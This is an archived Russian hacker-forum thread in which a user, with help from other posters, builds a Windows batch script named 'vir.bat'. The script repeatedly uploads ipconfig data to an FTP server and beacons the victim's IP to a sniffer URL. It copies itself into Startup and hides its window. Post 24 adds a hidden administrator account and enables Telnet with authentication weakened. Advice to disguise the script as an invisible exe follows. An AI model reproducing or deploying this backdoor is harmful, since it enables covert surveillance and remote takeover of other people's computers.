Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

РЕШЕНО: Вопрос по .bat

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Первый вопрос] >> РЕШЕНО: Вопрос по .bat
Имя
Сообщение << Старые топики   Новые топики >>
РЕШЕНО: Вопрос по .bat - 2010-11-08 21:04:08.163333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Вот код, который шлёт IP на FTP.
CLS echo OPEN ftp.server.com &gt;ftp echo login&gt;&gt;ftp echo pass&gt;&gt;ftp echo put stat&gt;&gt;ftp echo bye&gt;&gt;ftp ipconfig /all &gt;&gt; stat ftp -s:ftp del ftp del stat del %0 Как мне сделать так, чтобы он прописался в автозагрузку и выполнялся каждые 60 минут? Какие строчки нужно добавить?
Пожалуйста, войдите в положение. Не посылайте на… гугл.
Post #: 1
RE: Вопрос по .bat - 2010-11-08 21:10:36.050000   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
Так тебе в автозагрузку или что-бы каждые 60 секунд он запускался?
Post #: 2
RE: Вопрос по .bat - 2010-11-08 22:06:52.740000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Мне и то и другое, только не 60 секунд, а 60 минут, т.е. каждый час + в автозагрузку, чтобы при следующем запуске тоже каждый час отсылалось. Так можно сделать?
Post #: 3
RE: Вопрос по .bat - 2010-11-08 22:20:24.756666   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
Вот тут поищи: http://www.windowsfaq.ru/content/category/3/7/45/
ЗЫ у мну голова уже просто не варит)
Post #: 4
RE: Вопрос по .bat - 2010-11-08 22:25:40.573333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Спасибо, конечно, но я уже смотрел здесь…ничего тут толкового нет.
Post #: 5
RE: Вопрос по .bat - 2010-11-08 23:01:22.120000   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
http://forum.xakep.ru/m_1008858/tm.htm
Для цикла юзай пинг!
Post #: 6
RE: Вопрос по .bat - 2010-11-08 23:16:58.393333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Вот так - ping -n 20 127.0.0.1? Но разве это будет выполнять батник каждые n минут? Просто задержка - это не совсем то что нужно.
Post #: 7
RE: Вопрос по .bat - 2010-11-08 23:18:58.730000   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
Гмм -w 20 (2о секунд)
Post #: 8
RE: Вопрос по .bat - 2010-11-08 23:30:59.973333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Но это же пинг. А зачем мне пинг?
Post #: 9
RE: Вопрос по .bat - 2010-11-08 23:39:22.656666   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
Задержка нужная перед отправкой " IP на FTP.!"
Post #: 10
RE: Вопрос по .bat - 2010-11-08 23:41:32.530000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Т.е. вот так?
CLS echo OPEN ftp.server.com &gt;ftp echo login&gt;&gt;ftp echo pass&gt;&gt;ftp echo put stat&gt;&gt;ftp echo bye&gt;&gt;ftp ipconfig /all &gt;&gt; stat ftp -s:ftp del ftp del stat del %0 ping -w 200 127.0.0.1 И батник будет выполняться каждые 2 минуты?
Post #: 11
RE: Вопрос по .bat - 2010-11-08 23:45:35.566666   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
Ну ты его запускать пробовал?
Post #: 12
RE: Вопрос по .bat - 2010-11-08 23:49:56.003333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Нет.
Post #: 13
RE: Вопрос по .bat - 2010-11-08 23:55:04.130000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Один раз отослало, больше не шлёт. Значит что-то не то.
А может он просто заменяет файл? Щас проверю…
Post #: 14
RE: Вопрос по .bat - 2010-11-08 23:58:44.170000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Нет, не робит. Один и тот же IP. А должен быть уже другой. У меня динамический.
Post #: 15
RE: Вопрос по .bat - 2010-11-09 07:34:01.633333   
Ltonid

Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
:START CLS echo OPEN ftp.server.com &gt;ftp echo login&gt;&gt;ftp echo pass&gt;&gt;ftp echo put stat&gt;&gt;ftp echo bye&gt;&gt;ftp ipconfig /all &gt;&gt; stat ftp -s:ftp del ftp del stat del %0 ping -w 200 127.0.0.1 goto START ТЫ ДАЖЕ НЕ ЧИТАЛ
http://www.windowsfaq.ru/content/view/729/45/
Post #: 16
RE: Вопрос по .bat - 2010-11-09 09:43:13.793333   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
del %0 в цикле стоит убрать наверное ;)
Post #: 17
RE: Вопрос по .bat - 2010-11-09 09:58:22.693333   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666

quote:

ORIGINAL: namepunk

del %0 в цикле стоит убрать наверное ;)

Ну это уже задумка автора) Мы лишь ему объяснили как делать цикл)
Post #: 18
RE: Вопрос по .bat - 2010-11-10 14:19:26.180000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Всем спасибо, всё работает. Вот что у меня получилось:
:START CLS echo OPEN ********* &gt;ftp echo ********&gt;&gt;ftp echo ********&gt;&gt;ftp echo put stat&gt;&gt;ftp echo bye&gt;&gt;ftp ipconfig /all &gt;&gt; stat ftp -s:ftp del ftp del stat ping -w 200 127.0.0.1 goto START copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" А вот последняя строчка будет работать? И еще, никто не знает, как получить внешний IP, ото этот код присылает ipconfig, в котором нет внешнего, а только внутренний!?
P.S. На ПК прислался внешний, а на ноуте нет, почему так!?
Спасибо.
Post #: 19
RE: Вопрос по .bat - 2010-11-10 17:49:54.756666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
Последняя строчка работать не будет т.к.
1. она не в цикле, соотв. никогда не будет выполняться
2. Кодировка должны быть dos
Post #: 20
RE: Вопрос по .bat - 2010-11-10 18:00:55.220000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
А я ее специально из цикла убрал, чтоб она каждые 20 минут не выполнялось. Ведь добавление в автозагрузку нужно один раз.
В блокноте нельзя писать этот батник?
:START CLS echo OPEN ********* &gt;ftp echo ********&gt;&gt;ftp echo ********&gt;&gt;ftp echo put stat&gt;&gt;ftp echo bye&gt;&gt;ftp ipconfig /all &gt;&gt; stat ftp -s:ftp del ftp del stat ping -w 200 127.0.0.1 copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" goto START
Post #: 21
RE: Вопрос по .bat - 2010-11-10 19:20:52.350000   
Ltonid

Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
quote:

В блокноте нельзя писать этот батник?

Боюсь спросить, а где ты его пишешь?)) Обычно в блокноте и пишут.
А по поводу внешнего, так ipconfig не выдает внешний если его нету там где мониторчики, это чтобы было проще понять.
Post #: 22
RE: Вопрос по .bat - 2010-11-10 21:30:19.063333   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666

quote:

ORIGINAL: Ltonid

quote:

В блокноте нельзя писать этот батник?

Боюсь спросить, а где ты его пишешь?)) Обычно в блокноте и пишут.
А по поводу внешнего, так ipconfig не выдает внешний если его нету там где мониторчики, это чтобы было проще понять.

Я боюсь предположить что автор это делает в ворде…
Post #: 23
RE: Вопрос по .bat - 2010-11-11 12:29:01.200000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
quote:

Я боюсь предположить что автор это делает в ворде…

Разумеется, я не делаю это в ворде)) Просто меня смутила DOS-кодировка. Я тут нашёл другой код получения IP (через снифер) Я вот так хочу сделать:
:START rundll32 url.dll, FileProtocolHandler http://httpz.ru/********.gif ping -w 200 127.0.0.1 copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" cmdow @ /HID goto START То вот эта строчка - cmdow @ /HID должна скрыть это окно? Т.е. вот этот батник
:START rundll32 url.dll, FileProtocolHandler http://httpz.ru/********.gif ping -w 200 127.0.0.1 copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" cmdow @ /HID goto START залезает в автозагрузку и отсылает IP на на сниффер каждые 20 минут?

А если добавить Telnet, то у меня получилось так:
chcp 1251 net user SUPPORT_388945a0 /delete net user hacker hack /add net localgroup Администраторы support /add net localgroup Пользователи SUPPORT_388945a0 /del reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker /t REG_DWORD /d 00000000 sc config tlntsvr start= auto tlntadmn config port=23 sec=-NTLM net start Telnet :START copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" cmdow @ /HID rundll32 url.dll, FileProtocolHandler http://httpz.ru/*мой_алиас*.gif ping -w 200 127.0.0.1 goto START Значит этот код полностью доработан - отсылает ip на снифер, открывает telnet, залезает в автозагрузку и выполняется каждые 20 минут?
Post #: 24
RE: Вопрос по .bat - 2010-11-12 13:53:06.803333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
Люди, не пахает.
:START copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" rundll32 url.dll, FileProtocolHandler http://httpz.ru/*мой_алиас*.gif ping -w 200 127.0.0.1 goto START
Ссылка открывается каждые 5 секунд. Пробовал увеличить время пинга. Не получается. Все равно тоже самое.
cmdow @ /HID - вот эта строчка вообще не работает.
Post #: 25
RE: Вопрос по .bat - 2010-11-12 14:21:11.656666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
quote:

ping -w 200 127.0.0.1

1. Пинговать с -w нужно заведомо нерабочий хост. (192.255.255.255 например), типо ping -n 1 -w 20000 192.255.255.255
2. время -w в миллисекундах -w 20000 = 20 секунд.
3. вынеси из цикла copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
Post #: 26
RE: Вопрос по .bat - 2010-11-12 18:34:15.580000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
namepunk, спасибо, цикл работает. Но в автозагрузку не копируется. Как скопировать? И как скрыть консоль?
cmdow @ /HID - в windows 7 не работает. Я пробовал еще разные комбинации CMDOW, но безрезультатно…



@echo off copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" :START cmdow @ /HID rundll32 url.dll, FileProtocolHandler http://httpz.ru/********.gif ping -n 1 -w 3600000 192.255.255.255 goto START
Post #: 27
RE: Вопрос по .bat - 2010-11-30 21:59:58.110000   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
UP
Post #: 28
RE: Вопрос по .bat - 2010-12-01 17:55:15.840000   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
vir.bat
попробуй так
Post #: 29
RE: Вопрос по .bat - 2010-12-01 18:32:44.653333   
MicroXaker

Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
В батнике HTML код страницы загрузки. А тот код который ты выкладывал 5 минут назад - не работает. Консоль не скрывает и в автозагрузку не залезает((
Post #: 30
RE: Вопрос по .bat - 2010-12-02 11:27:14.246666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
У меня этот батник ложит файл в автозагрузку без проблем. Скрыть проще всего через bat-to-exe конвертер. Сконвертировать в exe указав опцию invisible.
Post #: 31
Страниц:  [1]
Все форумы >> [Первый вопрос] >> РЕШЕНО: Вопрос по .bat







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.